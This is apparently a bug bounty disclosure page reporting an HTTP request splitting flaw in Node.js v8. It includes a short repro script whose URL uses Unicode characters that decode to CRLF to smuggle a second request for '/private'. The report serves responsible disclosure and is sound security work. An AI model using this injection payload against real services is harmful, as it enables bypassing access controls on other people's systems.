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Http request splitting

Medium
N
Node.js
Submitted None
Reported by arkadiyt

Vulnerability Details

Technical details and impact analysis

HTTP Response Splitting
Hi, I came upon the following tweet today: [https://twitter.com/YShahinzadeh/status/1039396394195451904](https://twitter.com/YShahinzadeh/status/1039396394195451904) which details a http request splitting vulnerability in NodeJS. You can confirm it with the following repro script: ``` const http = require('http') const server = http.createServer((req, res) => { console.log(req.url); res.end(); }); server.listen(8000, function() { http.get('http://127.0.0.1:8000/?param=x\u{0120}HTTP/1.1\u{010D}\u{010A}Host:{\u0120}127.0.0.1:8000\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private', function() { }); }); ``` The vulnerability seems to be fixed in v10.0.0 but still present in v8.12.0. I also couldn't find a CVE for it or any information in the NodeJS changelog about it, so I'm not sure if the NodeJS community is aware of the issue. Should this bug get a CVE assigned / have the fix backported to Carbon? Thanks, Arkadiy ## Impact Http request splitting

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

HTTP Response Splitting